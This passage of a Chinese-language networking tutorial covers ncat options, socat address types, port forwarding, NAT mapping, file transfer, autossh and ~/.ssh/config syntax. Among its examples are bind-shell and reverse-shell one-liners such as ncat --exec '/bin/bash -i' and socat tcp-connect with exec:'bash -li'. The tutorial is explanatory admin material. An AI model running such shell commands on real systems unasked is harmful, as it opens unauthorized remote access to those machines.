--proxy-type <type> 指定代理类型（“http”、“socks4”、“socks5”）
--proxy-auth <auth> 使用 HTTP 或 SOCKS 代理服务器进行身份验证
--proxy-dns <type> 指定解析代理目的地的位置
--ssl 使用 SSL 连接或监听
--ssl-cert 指定用于监听的 SSL 证书文件 (PEM)
--ssl-key 指定用于监听的 SSL 私钥 (PEM)
--ssl-verify 验证证书的信任和域名
--ssl-trustfile 包含可信 SSL 证书的 PEM 文件
--ssl-ciphers 包含要使用的 SSL 密码的密码列表
--ssl-servername 请求不同的服务器名称 (SNI)
--ssl-alpn 使用的 ALPN 协议列表
--version 显示Ncat的版本信息并退出

有关完整的选项、描述和使用示例，请参见 ncat(1) 联机帮助页

3.2 ncat 的使用

ncat 作为浏览器

命令示例：ncat -C scanme.nmap.org 80

该命令是以 交互的方式 执行的。即输入 ncat -C scanme.nmap.org 80 和回车后，接着继续输入 GET / HTTP/1.0 ，再敲击两次回车。即可获取目标网站的 HTML 文档内容。

监听模式（模拟 web 服务器 )

使用 ncat 运行带有静态页面的 Web 服务器。vim /root/sample.html

<html>
<head>
<title>Test Page</title>
</head>
<body>
<h1>Level 1 header</h1>
<h2>Subheading</h2>
<p>Normal text here</p>
</body>
</html>

执行命令：[root@qdzabbix ~]# while true; do nc -l -p 8080 < /root/sample.html ; done

最后浏览器访问 http://127.0.0.1:8080/sample.html

执行命令（远程 shell）

命令示例：ncat -l 8080 --exec "/bin/echo Hello."

可以开启一个远程 shell 供其他设备连接。命令：ncat -l 8022 --exec "/bin/bash -i"

通过 nc 进行端口转发。

命令：ncat -u -l 80 -c 'ncat -u -l 8080'

访问控制

只允许指定客户端连接：ncat -l --allow 10.2.67.204
只拒绝指定客户端连接：ncat -l --deny 10.2.67.204
只允许指定网段的本地 IP：

ncat -l --allow 10.2.67.0/24
ncat -l --allow 10.2.67.0-255

从文件中获取允许访问的地址列表：ncat -l --allowfile trusted_hosts.txt
设置最大连接数为5：ncat -l --max-conns 5

文件传输

接收者监听：
receiver$ ncat -l > outputfile
sender$ ncat --send-only receiver_ip < inputfile
发送者监听：
sender$ ncat -l --send-only < inputfile
receiver$ ncat sender_ip > outputfile

传输目录

接收者：ncat -l | tar xzvf -
发送者：tar czvf - dirname | ncat --send-only receiver_ip

传输磁盘镜像（压缩）

接收者：ncat -l | bzip2 -d > sender-hda.image
发送者：cat /dev/hda | bzip2 | ncat --send-only receiver_ip

聊天

双人聊天
host1$ ncat -l
host2$ ncat host1
多人聊天
server$ ncat -l --chat
clients$ ncat server_ip

在 ncat 中也有订阅者模式，可以由一个 server 提供服务，多个 client 之间相互交流，这样就够搭建一个完整的即时通讯聊天室。
启动 server：ncat -l 8888 --broker 然后使用多个 client 连接即可。

简易 web 服务器

Linux 用户：ncat -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html"
Windows 用户：ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"

流媒体视频

服务端：cat video.avi | ncat -l
客户端：ncat server_ip | mplayer -vo x11 -cache 3000 -

4、socat 命令

Socat 官方网站：http://www.dest-unreach.org/socat/

From：https://zhuanlan.zhihu.com/p/347722248

socat 基本语法：socat [options] <address> <address>

socat 主要作用 就是把两个地址的数据流串起来，把左边地址的输出数据传给右边，同时又把右边地址的输出数据传到左边。所以 socat 需要两个地址，其中这 2 个 address 是关键，address 类似于一个文件描述符，Socat 所做的工作就是在 2 个 address 指定的描述符间建立一个 pipe 用于发送和接收数据。这 2 个 address 可以任意发挥，能够做到的事情还有很多。

使用 socat 需要提供两个地址，常用的 address 描述方式如下：

-,STDIN,STDOUT ：表示标准输入、标准输出，可以只用减号 - 代替
/var/log/syslog ：打开一个文件作为数据流，可以是任意路径。
TCP:: 建立一个 TCP 连接作为数据流，TCP 也可以替换为 UDP 。
TCP-LISTEN：建立一个 TCP 监听端口，TCP 也可以替换为 UDP。
EXEC：执行一个程序作为数据流。

socat 还支持：TCP, TCP-LISTEN, UDP, UDP-LISTEN, OPEN, EXEC, SOCKS, PROXY 等多种地址，用于端口监听、链接，文件和进程读写，代理桥接等等。所以使用 socat 其实就是学习各类地址的定义及搭配方法。以上规则中前面的 TCP 等都可以小写，在这些描述后可以附加一些选项，用逗号隔开。如 fork，reuseaddr，stdin，stdout，ctty 等。

最简单示例：命令：socat - -

说明：两个地址都是减号 "-"，就是把 "标准输入输出" 和 "标准输入输出" 对接，输入什么就会显示什么。即在键盘上敲什么，屏幕上就显示什么，类似无参数的 cat 命令。

socat 的参数

参考：www.dest-unreach.org
用法：
socat [选项] <双向地址> <双向地址>
选项：
-V 版本信息
-h|-? 帮助
-hh 与 -h 类似。更加详细的帮助。加上所有常用地址选项名称
-hhh 与 -hh类似。更加详细的帮助。加上所有可用地址选项名称
-d[ddd] 增加详细程度（最多使用 4 次；建议使用 2 次）
-D 在循环之前分析文件描述符
-ly[facility] 使用设施（默认为守护进程）记录到系统日志
-lf<logfile> 记录到文件
-ls 记录到标准错误（如果没有其他日志，则默认）
-lm[facility] 混合日志模式（初始化期间的stderr，然后是syslog）
-lp<progname> 设置用于记录的程序名称
-lu 使用微秒记录时间戳
-lh 将主机名添加到日志消息中
-v 把数据流量转储为文本文件
-x 把数据流量转储为16进制文件
-r <file> 转储从左到右流动的原始数据
-R <file> 转储从右到左流动的原始数据
-b<size_t> 设置数据缓冲区大小 (8192)
-s 马虎模式。即出现错误时继续。
-t<timeout> 在关闭第二个通道之前等待几秒钟
-T<timeout> 再多少秒不活动时，设置超时
-u 单向模式（从左到右）
-U 单向模式（从右到左）
-g 不检查选项组
-L <lockfile> 尝试获取锁，否则失败
-W <lockfile> 尝试获取锁，或者等待
-4 如果没有明确指定版本，则首选 IPv4
-6 如果没有明确指定版本，则首选 IPv6
双向地址：
pipe[,<opts>] groups=FD,FIFO
<single-address>!!<single-address>
<single-address>
单向地址：
<address-head>[,<opts>]
address-head:
abstract-client:<filename> groups=FD,SOCKET,RETRY,UNIX
abstract-connect:<filename> groups=FD,SOCKET,RETRY,UNIX
abstract-listen:<filename> groups=FD,SOCKET,LISTEN,CHILD,RETRY,UNIX
abstract-recv:<filename> groups=FD,SOCKET,RETRY,UNIX
abstract-recvfrom:<filename> groups=FD,SOCKET,CHILD,RETRY,UNIX
abstract-sendto:<filename> groups=FD,SOCKET,RETRY,UNIX
create:<filename> groups=FD,REG,NAMED
exec:<command-line> groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
fd:<num> groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
gopen:<filename> groups=FD,FIFO,CHR,BLK,REG,SOCKET,NAMED,OPEN,TERMIOS,UNIX
interface:<interface> groups=FD,SOCKET
ip-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP4,IP6
ip-recv:<protocol> groups=FD,SOCKET,RANGE,IP4,IP6
ip-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP4,IP6
ip-sendto:<host>:<protocol> groups=FD,SOCKET,IP4,IP6
ip4-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP4
ip4-recv:<protocol> groups=FD,SOCKET,RANGE,IP4
ip4-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP4
ip4-sendto:<host>:<protocol> groups=FD,SOCKET,IP4
ip6-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP6
ip6-recv:<protocol> groups=FD,SOCKET,RANGE,IP6
ip6-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP6
ip6-sendto:<host>:<protocol> groups=FD,SOCKET,IP6
open:<filename> groups=FD,FIFO,CHR,BLK,REG,NAMED,OPEN,TERMIOS
openssl:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,OPENSSL
openssl-dtls-client:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,UDP,OPENSSL
openssl-dtls-server:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,UDP,OPENSSL
openssl-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP,OPENSSL
pipe:<filename> groups=FD,FIFO,NAMED,OPEN
proxy:<proxy-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,HTTP
pty groups=FD,NAMED,TERMIOS,PTY
sctp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,SCTP
sctp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,SCTP
sctp4-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,SCTP
sctp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,SCTP
sctp6-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP6,SCTP
sctp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,SCTP
socket-connect:<domain>:<protocol>:<remote-address> groups=FD,SOCKET,CHILD,RETRY
socket-datagram:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET,RANGE
socket-listen:<domain>:<protocol>:<local-address> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE
socket-recv:<domain>:<type>:<protocol>:<local-address> groups=FD,SOCKET,RANGE
socket-recvfrom:<domain>:<type>:<protocol>:<local-address> groups=FD,SOCKET,CHILD,RANGE
socket-sendto:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET
socks4:<socks-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
socks4a:<socks-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
stderr groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdin groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdio groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdout groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
system:<shell-command> groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
tcp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP
tcp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP
tcp4-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,TCP
tcp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,TCP
tcp6-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP6,TCP
tcp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,TCP
tun[:<ip-addr>/<bits>] groups=FD,CHR,NAMED,OPEN,INTERFACE
udp-connect:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
udp-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP4,IP6,UDP
udp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP
udp-recv:<port> groups=FD,SOCKET,RANGE,IP4,IP6,UDP
udp-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP
udp-sendto:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
udp4-connect:<host>:<port> groups=FD,SOCKET,IP4,UDP
udp4-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP4,UDP
udp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP
udp4-recv:<port> groups=FD,SOCKET,RANGE,IP4,UDP
udp4-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP4,UDP
udp4-sendto:<host>:<port> groups=FD,SOCKET,IP4,UDP
udp6-connect:<host>:<port> groups=FD,SOCKET,IP6,UDP
udp6-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP6,UDP
udp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP
udp6-recv:<port> groups=FD,SOCKET,RANGE,IP6,UDP
udp6-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP6,UDP
udp6-sendto:<host>:<port> groups=FD,SOCKET,IP6,UDP
unix-client:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-connect:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-listen:<filename> groups=FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
unix-recv:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-recvfrom:<filename> groups=FD,SOCKET,NAMED,CHILD,RETRY,UNIX
unix-sendto:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
vsock-connect:<cid>:<port> groups=FD,SOCKET,CHILD,RETRY
vsock-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY

address 有一下几种形式：

- STDIN STDOUT ：表示标准输入输出，可以就用一个横杠代替
/var/log/syslog : 也可以是任意路径，如果是相对路径要使用./，打开一个文件作为数据流。
TCP:127.0.0.1:1080 : 建立一个TCP连接作为数据流，TCP也可以替换为UDP
TCP-LISTEN:12345 : 建立TCP监听端口，TCP也可以替换为UDP
EXEC:/bin/bash : 执行一个程序作为数据流。

socat 的使用

场景一：本地有个文件，想要显示在终端中
socat - /etc/sysctl.conf

场景二：有个TCP连接会连上来，想看下会获得什么数据。
socat TCP-LISTEN:12345 -

场景三：在目标机上弄一个shell代理
socat TCP-LISTEN:12345 EXEC:/bin/bash

场景四：本地 UNIX DOMAIN 域套接字，转成 TCP SOCKET 供局域网内的机器使用
// 当有多个tcp连上来时，可以使用 fork 一个去连域套接字
socat TCP-LISTEN:12345,reuseaddr,fork UNIX-CONNECT:/data/deCOREIDPS/unix.domain
场景五
将本地的80端口转到远程去
socat TCP-LISTEN:80,fork TCP:www.baidu.com:80

网络测试

这个类似 nc 的连通性测试，两台主机到底网络能否联通：

socat - TCP-LISTEN:8080 # 终端1 上启动 server 监听 TCP
socat - TCP:localhost:8080 # 终端2 上启动 client 链接 TCP

在终端 1 上输入第一行命令作为服务端，并在终端 2 上输入第二行命令作为客户端去链接。

联通后在终端2上随便输入点什么，就能显示在终端1上，反之亦然，因为两条命令都是把标准输入输出和网络串起来，因此把两个地址交换一下也是等价的：

socat TCP-LISTEN:8080 - # 终端1 上启动 server 监听 TCP
socat TCP:localhost:8080 - # 终端2 上启动 client 链接 TCP

因为 socat 就是把左右两个地址的输入输出接在一起，因此颠倒左右两个地址影响不大，除非前面指明 -u 或者 -U 显示指明数据 "从左到右" 还是 "从右到左" 。

同 netcat 一样，如果客户端结束的话，服务端也会结束，但是 socat 还可以加额外参数：

socat - TCP-LISTEN:8080,fork,reuseaddr # 终端1 上启动 server
socat - TCP:localhost:8080 # 终端2 上启动 client

服务端在 TCP-LISTEN 地址后面加了 fork 的参数后，就能同时应答多个链接过来的客户端，每个客户端会 fork 一个进程出来进行通信，加上 reuseaddr 可以防止链接没断开玩无法监听的问题。

刚才也说了使用 socat 主要就是学习描述各种地址，那么想测试 UDP 的话修改一下就行：

socat - UDP-LISTEN:8080 # 终端1 上启动 server 监听 UDP
socat - UDP:localhost:8080 # 终端2 上启动 client 链接 UDP

网络管理

连接远程端口：socat - TCP:192.168.1.252:3306
监听一个新端口：socat TCP-LISTEN:7000 -

端口转发

在主机上监听一个 8080 端口，将 8080 端口所有流量转发给远程机器的 80 端口：

socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.1.3:80

那么连到这台机器上 8080 端口的所有链接，相当于链接了 192.168.1.3 这台机器的 80 端口，命令中交换左右两个地址一样是等价的。

这里 socat 比 nc 强的地方就体现出来了，nc 做转发时只能转发 1 次，第一条链接 accept 并且关闭以后 nc 就退出了，无法接受新链接，因此 nc 只适合单次使用。而 socat 加上 fork 以后，每次 accept 一个链接都会 fork 出一份来不影响接收其他的新连接，这样 socat 就可以当一个端口转发服务，一直启动在那里。还可以用 supervisor 托管起来，开机自动启动。

还可以用这个功能暴露一些 127.0.0.1 的端口出来供外面访问，比起 nc 的临时救急使用一下的场景，socat 是可以当一个服务长期运行的。

场景 2：在实际生产中我们经常会遇到到一个场景就是，用一台机器作为转发服务器，连接 AB 两个网段，将转发服务器的某个端口上的流量转发到 B 网段的某台机器的某个端口，这样 A 网段的服务器就可以通过访问转发服务器上的端口访问到 B 网段的服务器端口。

这样的场景一般在和客户建立专线的连接时候经常用到，一般也可以采用 iptables 做转发，但是比较复杂。Socat 可以很轻松的完成这个功能，但是 Socat 不支持端口段转发，只适用于单端口或者少量端口。

转发 TCP。监听 192.168.1.252 网卡的 15672 端口，并将请求转发至 172.17.0.15 的 15672 端口。命令：socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672

参数说明：

1. -d -d 前面两个连续的 -d -d 代表调试信息的输出级别。
2. -lf /var/log/socat.log 指定输出信息的文件保存位置。
3. TCP4-LISTEN:15672 在本地建立一个 TCP IPv4 协议的监听端口，也就是转发端口。这里是 15672，请根据实际情况改成你自己需要转发的端口。
4. bind 指定监听绑定的 IP 地址，不绑定的话将监听服务器上可用的全部 IP。
5. reuseaddr 绑定一个本地端口。
6. fork TCP4:172.17.0.15:15672 指的是要转发到的服务器 IP 和端口，这里是 172.17.0.15 的 15672 端口。

转发 UDP。转发 UDP 和 TCP 类似，只要把 TCP4 改成 UDP4 就行了。

命令：socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123

NAT 映射。在一个 NAT 网络环境中，也是可以通过 Socat 将内部机器端口映射到公网上的。

在外部公网机器上执行命令：socat tcp-listen:1234 tcp-listen:3389
在内部私网机器上执行命令：socat tcp:outerhost:1234 tcp:192.168.1.34:3389
这样，你外部机器上的 3389 就映射在内网 192.168.1.34 的 3389 端口上了。

不过这样场景下更推荐内网穿透神器 FRP

fork 服务

多进程。示例命令：socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
不同设备的通信

将 U 盘进行网络共享

示例命令：$ socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr

将终端转发到串口

示例命令：socat READLINE,/dev/ttyS0,raw,echo=0,crnl

让 Socat 后台运行

默认情况下 Socat 只在前台运行，如果要让 Socat 一直在后台运行，可以使用 nohup 命令来保证其在后台一直运行。

示例命令：nohup socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 &

除了 nohup 外，Linux 下让进程在后台运行的方法还很多，比如：screen、tmux 等。在 Linux 中一切都是文件，无论是 Socket 还是其他设备。所以从理论上来说，一切能够在文件层级访问的内容都可以成为 Socat 的数据流的来源。

正向 shell、反向 shell

正向 Shell
1. 服务端
# 在服务端 7005 端口建立一个 Shell。
$ socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr
或者
$ socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr
2. 客户端
# 连接到服务器的 7005 端口，即可获得一个 Shell。readline 是 GNU 的命令行编辑器，具有历史功能。
$ socat readline tcp:127.0.0.1:7005

反弹 Shell。当有主机连接服务端的 7005 端口时，将会发送客户端的 Shell 给服务端。
1. 服务端
$ socat -,raw,echo=0 tcp-listen:7005
2. 客户端
$ socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane

示例：使用反向shell 实现远程登录

使用参数 "EXEC 可以执行程序" 并且把输入输出和另外一个地址串起来，比如服务端：

socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash # 服务端提供 shell
socat - TCP:localhost:8080 # 客户端登录

完善一点可以加些参数：

socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash,pty,stderr # 服务端
socat file:`tty`,raw,echo=0 TCP:localhost:8080 # 客户端

这样可以把 bash 的标准错误重定向给标准输出，并且用终端模式运行。客户端可以像刚才那样登录，但是还可以更高级点，用 tty 的方式访问，这样基本就得到了一个全功能的交互式终端了，可以在里面运行 vim, emacs 之类的程序。

更高级一点，使用 root 运行：

socat TCP-LISTEN:23,reuseaddr,fork,crlf exec:/bin/login,pty,setsid,setpgid,stderr,ctty

相当于在 23 端口启动了一个 telnetd 的服务，可以用 telnet 客户端来链接。

网页服务

首先编写一个脚本 web.sh

#! /bin/bash
echo -e -n "HTTP/1.0 200\r\n"
echo -e -n "Content-Type:text/html\r\n"
echo -e -n "\r\n"

echo "<html><body>"
echo "now is $(date)"
echo "</body></html>"

这里我们用 SYSTEM 地址类型代替原来的 EXEC 执行命令，因为可以后面写 shell 命令：

socat TCP-LISTEN:8080,fork,reuseaddr SYSTEM:"bash web.sh"

这时你就可以用浏览器访问：http://localhost:8080 的端口了：

相当于每次请求的时候，socat 都会 fork 一个进程出来然后执行后面的命令，启动上面的脚本程序，并且将脚本的标准输入输出重定向给网络链接。

相当于原始的 cgi 程序了，我们可以用 shell 直接完成一个 cgi 程序并由 socat 提供 cgi 服务，偶然需要暴露一些服务器信息的话，可以这样弄一下，返回的 html 里搞一个自动刷新，然后打开浏览器，实时监控服务器的情况。

文件传输

临时需要传输下文件，无需 scp：

socat -u TCP-LISTEN:8080 open:record.log,create # 服务端接收文件
socat -u open:record.log TCP:localhost:8080 # 客户端发送文件

这里用了 -u 参数，意思是数据从左边的地址单向传输到右边的地址，大写 -U 的话是从右边单向传输到左边。

将文件 demo.tar.gz 使用 2000 端口从 192.168.1.252 传到 192.168.1.253，文件传输完毕后会自动退出。

在 192.168.1.252 上执行：socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr
在 192.168.1.253 上执行：socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create
-u 表示数据传输模式为单向，从左面参数到右面参数。
-U 表示数据传输模式为单向，从右面参数到左面参数。

读写分流功能

Socat 具有一个独特的读写分流功能，比如：可以实现一个假的 Web Server，客户端连过来之后就把 read.html 里面的内容传过去，同时把客户端的数据保存到 write.txt 里面。

命令：socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork
!! 符号用于合并读写流，前面的用于读，后面的用于写。由于 ! 在 Shell 中是特殊字符，所以这里在命令行中使用 \ 对其进行了转义。

透明代理

第一句是用于 socks 代理的，第二句用于 HTTP 代理：

socat TCP-LISTEN:<本地端口>,reuseaddr,fork SOCKS:<代理服务器IP>:<远程地址>:<远程端口>,socksport=<代理服务器端口>
socat TCP-LISTEN:<本地端口>,reuseaddr,fork PROXY:<代理服务器IP>:<远程地址>:<远程端口>,proxyport=<代理服务器端口>

他们都可以把本地端口的请求转换成使用代理服务器访问的请求，比如：

socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

那么链接本地的 1234 端口，相当于通过代理服务器 127.0.0.1:5678 去链接 google.com 的 80 端口了，这里用了 SOCKS4A ，后面 A 的意思是让代理服务器去解析域名。

通过 Openssl 来加密传输过程

假设有一个服务器主机，地址为 server.domain.org。并且服务端程序使用 4433 端口。为了尽可能的简单，我们使用一个非常简单的服务功能，即服务端仅回显数据（echo），客户端只进行标准输入（stdio）。要进行 Openssl 加密数据传输，首先需要生成 Openssl 证书。

1. 生成服务端的证书

# 为服务端的证书取一个基本的名字。
$ FILENAME=server
# 生成公钥私钥对。
$ openssl genrsa -out $FILENAME.key 1024
# 生成一个自签名的证书，会提示你输入国家代号、姓名等，或者按下回车键跳过输入提示。
$ openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
# 用刚生成的密钥文件和证书文件来生成PEM文件。
$ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

服务端证书生成完成后，复制信任证书 server.crt 到 SSL 客户端所在的主机上。

2. 生成客户端证书

# 为客户端证书取一个不同的文件名
$ FILENAME=client

重复上述服务端生成证书的流程。然后复制 client.pem 到 SSL 客户端主机，复制 client.crt 到服务端主机。至此完成了证书交换，服务端有 server.pem、client.crt 两个文件，客户端有 client.pem 、server.crt 两个文件。

其次我们需要建立 Openssl 服务端，在服务端我们不再用 tcp-listen (tcp-l) ，而用 openssl-listen (ssl-l) 。cert 参数告诉 Socat 包含证书和私钥的文件，cafile 参数指向客户端的证书文件。如果客户端能提供相关联的私钥，我们则认为该连接是可靠的。

$ socat openssl-listen:4433,reuseaddr,cert=server.pem,cafile=client.crt echo

运行这个命令后，Socat 会在 4433 端口监听，并要求客户端进行身份验证。

最后在客户端建立一个加密的链接，用 openssl-connect 或者 ssl 替换你的 tcp-connect 或 tcp 地址关键字，然后添加 cert 和 cafile 选项。

$ socat stdio openssl-connect:server.domain.org:4433,cert=client.pem,cafile=server.crt
test
test

这个命令用来建立一个到服务程序的安全的连接。如果服务端和客户端成功建立连接后，会回显在客户端输入的内容。

5、Linux 下常用的端口转发工具

端口转发、端口映射

端口转发：就是把一个端口的流量转发到另一个端口上，端口可以是本机端口，也可以是远程主机端口
端口映射：跟 "端口转发" 差不多。端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口，提供相应的服务。当用户访问外网IP的这个端口时，服务器自动将请求映射到对应局域网内部的机器上。

SSH 会自动加密和解密所有SSH 客户端与服务端之间的网络数据。但是，SSH 还能够将其他TCP 端口的网络数据通过SSH 链接来转发，并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”（tunneling），这是因为SSH 为其他TCP 链接提供了一个安全的通道来进行传输而得名。例如，Telnet，SMTP，LDAP 这些TCP 应用均能够从中得益，避免了用户名，密码以及隐私信息的明文传输。而与此同时，如果工作环境中的防火墙限制了一些网络端口的使用，但是允许SSH 的连接，也能够通过将TCP 端口转发来使用SSH 进行通讯。

autossh

Autossh 完整使用指南：https://www.cnblogs.com/zhaoxxnbsp/p/19795053

autossh = 带自动断线重连的 SSH 封装程序 原生 ssh 隧道断连后不会自动重建；autossh 持续监控 ssh 进程，一旦退出就自动拉起，常用于反向隧道、端口转发、内网穿透。

Autossh 是 SSH 的包装器，它会：

监控 SSH 连接状态
连接断开时自动重连
通过端口或心跳检测连接健康

特性	SSH	Autossh
基本连接	✅	✅
端口转发	✅	✅
后台运行	✅	✅
自动重连	❌	✅
连接监控	❌	✅
适合长期运行	❌	✅

适用场景

✅ 内网穿透（反向隧道）
✅ 长期端口转发
✅ VPN over SSH
✅ 远程服务暴露
✅ 需要高可用性的 SSH 连接

ssh 安装、使用、端口转发

安装 ssh

win10、win11 系统自带，只是没有开启，可以自己搜索开启方法

win11：设置 ---> 应用 ---> 可选功能 ---> openssh 服务器

Linux系统上安装、运行 OpenSSH Server

安装：sudo apt-get install openssh-server -y

启动 OpenSSH Server，并将该服务加入开机自启项，在 Terminal 里输入指令
sudo systemctl start ssh.service # 启动
sudo systemctl enable ssh.service # 设为开机自启
SSH服务将开机自启。
通过systemctl命令可以对SSH服务进行管理，如检查状态、停止、重启、禁用开机自启可通过以下指令实现
systemctl status ssh.service # 检查状态
sudo systemctl stop ssh.service # 停止
sudo systemctl restart ssh.service # 重启
sudo systemctl disable ssh.service # 禁用开机自启

最新的macOS系统都预装了SSH，并且将其集成到了“远程登陆（Remote Login）”的设置中，这使得在Mac上使用SSH异常简单。

ssh 分为两个部分

sshd 服务端。在服务器上建好并处于可用状态。并接收 ssh 客户端发送的指令并执行
ssh 客户端。连接到 "远程服务器"，发送指令进行操作。

~/.ssh/config 文件

基础语法规则

以 Host 分段，一段代表一组主机配置；
Host 后是本地别名，连接时 ssh 别名；
配置项缩进随意（空格 /tab 都行）；
# 代表注释；
匹配规则：从上到下匹配，命中第一段即停止；
通配符支持：* 任意字符、? 单个字符。

最简分段模板

Host 别名/匹配规则
  配置参数1 值
  配置参数2 值

Host：匹配规则，支持别名、IP、域名、通配符

# 单独别名，ssh crawl 登录
Host crawl
  HostName 13.23.xx.xx

# 通配所有 aws 机器，ssh aws-1 / ssh aws-2 统一复用配置
Host aws-*
  User ec2-user

HostName：远程服务器真实 IP / 域名，Host 只是本地别名，HostName 才是真实地址。
```
Host crawler
  HostName 10.0.1.100
```
User：远程登录用户名（ec2-user /root/ubuntu）
```
Host crawl
  User ec2-user
```
Port：自定义 SSH 端口（服务器改了 22 端口时）
```
Host crawl
  HostName 1.1.1.1
  Port 2222
```
IdentityFile：指定本次连接使用的私钥路径，多密钥核心配置
```
Host crawl
  IdentityFile ~/.ssh/id_rsa_crawl
```
IdentitiesOnly yes 解决多密钥冲突。强制 SSH 只使用 IdentityFile 指定私钥，不会自动遍历 id_rsa、其他密钥尝试，避免报 Permission denied。多密钥场景必须加。

全局通用配置 Host *

放在配置文件最底部，对所有主机生效，公共参数统一写这里，不用每个 Host 重复：

# 全局公共配置，所有主机继承
Host *
  ServerAliveInterval 30
  ServerAliveCountMax 3
  AddKeysToAgent yes
  IdentitiesOnly yes
  ControlMaster auto
  ControlPath ~/.ssh/sockets/%h_%p_%r.sock
  ControlPersist 6h

密钥代理 / 免输密码类

AddKeysToAgent yes 连接时自动把私钥加入 ssh-agent 缓存，下次不用重复输私钥密码。
IdentityAgent 指定 ssh-agent 套接字，一般不用手动配。
ForwardAgent yes 代理本机 ssh-agent 到远端服务器。场景：本地有密钥 A，登录机器 A 后，机器 A 再通过 ssh 连机器 B，不用把私钥传到机器 A，直接复用本地密钥。安全提示：不信任的机器不要开 ForwardAgent。

提速、持久连接（高频推荐）

